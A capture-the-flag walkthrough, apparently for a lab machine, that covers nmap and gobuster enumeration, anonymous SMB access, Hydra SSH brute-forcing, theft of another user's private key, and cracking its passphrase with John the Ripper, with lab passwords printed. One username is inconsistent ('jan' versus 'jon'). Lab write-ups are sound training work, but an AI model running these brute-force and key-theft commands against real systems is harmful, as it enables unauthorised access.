1. Reconnaissance and Network Scanning
The process began by reviewing the challenge questions and required tasks, followed by scanning for open ports and service versions on the target machine:
- Overview of challenge questions and required tasks:
- Port scanning and service version detection using Nmap:
nmap -sV 10.66.168.35
2. Web Enumeration and Hidden Directories
- Searching for hidden paths and directories using Gobuster:
gobuster dir -u http://10.66.168.35 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
- Browsing the discovered hidden directory (
development) via browser:
- Reading the contents of notes and correspondence files inside the development directory (
j.txtanddev.txt):
3. SMB Enumeration and Network Services
-
Connecting to the available share via
smbclientand listing files:
smbclient //10.66.168.35/Anonymous
-
Downloading the employee warning file using the
getcommand:
get staff.txt
-
Reading the contents of the employee warning file (
staff.txt):
cat staff.txt
4. Brute-Forcing and Initial Access
- Guessing SSH credentials using Hydra:
hydra -t 16 -l jan -P /usr/share/wordlists/rockyou.txt 10.66.168.35 ssh
-
Successfully logging in via SSH using the discovered account (
jan/armando):
ssh jan@10.66.168.35
username : jon //////// password : armando
5. Local Enumeration and Extracting the id_rsa Key
-
Exploring local user directories and accessing
kay's folder and.sshcontents:
cd /home/kay/
ls -la
cd .ssh
ls
-
Viewing the contents of the private key (
id_rsa):
cat id_rsa
-
Creating a text file to save the private key (
pass.txt) and viewing it via nano:
nano pass.txt
6. SSH Key Hash Cracking
- Modifying the key file permissions:
chmod 600 pass.txt
-
Converting the key into a hash format using
ssh2john.py:
python3 /usr/share/john/ssh2john.py pass.txt > hash.txt
-
Cracking the hash using John the Ripper and the
rockyou.txtwordlist:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
-
Extracted key password:
beeswax
7. Conclusion: Transitioning to the kay Account and Achieving the Final Goal
username : kay //////// password : beeswax
-
Connecting with
kay's private key and entering the cracked password (beeswax):
ssh -i /home/kay/.ssh/id_rsa kay@10.66.168.35
-
Reading the contents of the backup file (
pass.bak) to retrieve the final password:
cat pass.bak
-
Final password:
heresareallystrongpasswordthatfollowsthepasswordpolicy$$


















Top comments (0)